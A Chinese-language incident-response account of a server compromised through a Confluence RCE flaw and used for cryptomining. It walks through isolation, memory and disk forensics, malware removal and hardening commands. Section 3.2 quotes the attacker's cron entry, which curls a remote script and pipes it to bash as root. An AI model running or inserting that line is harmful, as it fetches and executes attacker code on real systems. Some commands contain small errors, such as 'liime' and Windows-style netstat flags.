1. 事件背景与处置原则
上周五凌晨2点37分,监控系统突然发出刺耳的警报声——某台生产服务器的CPU负载飙升至800%,同时检测到异常外联行为。作为值班安全运维,我立即启动应急响应流程。这种突发事件正是考验安全团队实战能力的时刻,也是转行安全运维必须掌握的硬技能。
服务器被入侵后的"黄金1小时"尤为关键。根据CIS安全框架,应急响应需遵循"隔离-取证-清除-加固"四步原则。首要目标是控制影响范围,避免横向渗透,同时完整保留证据链。我曾见过太多团队因慌乱中直接重启服务器,导致关键日志丢失的惨痛案例。
2. 入侵确认与快速隔离
2.1 初步迹象核查
通过SSH连接异常服务器时,发现登录横幅被篡改(原系统提示语变成"Protected by Hacker Team")。立即执行以下命令收集基础信息:
bash复制# 检查当前登录会话
who -a && last -ai
# 查看异常进程
ps auxf | grep -v '\['
# 检查网络连接
ss -antp | grep ESTAB
发现存在多个非常见端口的出向连接,以及名为"kworker/0:1H"的异常进程(正常内核线程不应有H后缀)。
2.2 网络隔离操作
立即在防火墙上执行:
bash复制iptables -A INPUT -s 被入侵IP -j DROP
iptables -A OUTPUT -d 被入侵IP -j DROP
同时通知网络团队在核心交换机上封禁该服务器的VLAN端口。这里有个关键细节:保留服务器与跳板机之间的单通连接(仅允许特定IP通过SSH访问),便于后续取证。
重要提示:切勿直接拔网线或关机!这会导致内存中的恶意进程、网络连接等易失性证据永久丢失。
3. 系统取证与入侵分析
3.1 易失性数据采集
使用预先部署的应急响应工具包执行:
bash复制# 内存取证
liime -d /mnt/evidence/memory.raw
# 磁盘快照
dd if=/dev/sda1 of=/mnt/evidence/disk.img bs=4M status=progress
# 网络状态保存
netstat -ano > /mnt/evidence/netstat.txt
3.2 入侵痕迹分析
通过时间线分析发现关键线索:
bash复制# 查找最近3天被修改的二进制文件
find /usr/bin /usr/sbin -type f -mtime -3 -exec ls -la {} \;
# 检查异常cron任务
cat /etc/crontab | grep -v '^#'
发现/usr/sbin/sshd被替换(原文件大小2.3MB,现文件3.1MB),同时存在每天凌晨执行的挖矿脚本:
bash复制*/30 * * * * root curl -s http://xmr.pool.com/script.sh | bash
3.3 入侵路径还原
结合登录日志/var/log/secure,确认攻击者利用的是Confluence未授权RCE漏洞(CVE-2022-26134)。漏洞利用后下载了基于golang的挖矿程序,并通过修改sshd二进制文件实现持久化。
4. 恶意代码清除与系统恢复
4.1 恶意组件清除
- 终止恶意进程:
bash复制kill -9 $(pgrep -f kworker/0:1H)
- 删除恶意文件:
bash复制rm -f /usr/sbin/sshd.bak /tmp/.X11-unix/.rsync/c
- 清理定时任务:
bash复制sed -i '/xmr.pool.com/d' /etc/crontab
4.2 系统文件修复
从干净系统拷贝sshd二进制文件:
bash复制scp root@备份服务器:/usr/sbin/sshd /usr/sbin/
chmod 755 /usr/sbin/sshd
systemctl restart sshd
5. 安全加固与后续防护
5.1 漏洞修复
- 升级Confluence到最新版本
- 安装漏洞补丁:
bash复制yum update --cve CVE-2022-26134
5.2 防护增强措施
- 配置HIDS监控关键目录:
bash复制# 使用aide进行文件完整性检查
aide --init && mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
- 限制出站连接:
bash复制iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -A OUTPUT -j DROP
6. 经验总结与避坑指南
- 日志保存陷阱:/var/log/secure默认仅保留7天日志,建议修改/etc/logrotate.conf配置:
code复制rotate 30
dateext
- 应急工具准备:提前在跳板机部署以下工具包:
- LiME(内存取证)
- Sleuth Kit(磁盘分析)
- Rkhunter(Rootkit检测)
- 网络隔离技巧:在云环境遇到入侵时,除了安全组规则,还要检查:
- VPC流日志
- 负载均衡配置
- NAT网关规则
- 溯源关键点:重点关注这些文件的修改时间:
- /etc/passwd
- /etc/shadow
- ~/.ssh/authorized_keys
- /etc/ld.so.preload
这次事件最终定位到攻击者是通过暴露在公网的测试服务器跳板入侵。建议所有转行安全运维的同仁建立"最小权限+纵深防御"的安全体系,定期进行红蓝对抗演练。